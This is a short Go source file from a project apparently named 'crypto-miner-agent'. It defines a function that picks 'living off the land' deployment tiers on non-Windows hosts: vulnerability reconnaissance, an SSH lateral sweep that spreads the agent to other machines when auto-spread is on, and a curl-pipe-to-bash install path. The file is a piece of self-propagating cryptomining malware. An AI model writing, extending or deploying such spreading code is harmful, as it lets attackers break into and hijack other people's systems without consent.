28 lines
630 B
Go
28 lines
630 B
Go
//go:build !windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) {
|
|
switch tier {
|
|
case "vuln_recon":
|
|
RunVulnRecon(HostOSVersion())
|
|
return true, "vuln recon complete (report only)"
|
|
case "linux":
|
|
if cfg.AutoSpread {
|
|
go RunSpreadOnce(cfg)
|
|
return true, "ssh lateral sweep started"
|
|
}
|
|
return false, "auto_spread disabled"
|
|
case "docker":
|
|
return false, "container tier stub on non-windows"
|
|
case "bits_curl":
|
|
return true, "curl|bash install one-liner available"
|
|
default:
|
|
return false, "tier not supported on this platform"
|
|
}
|
|
}
|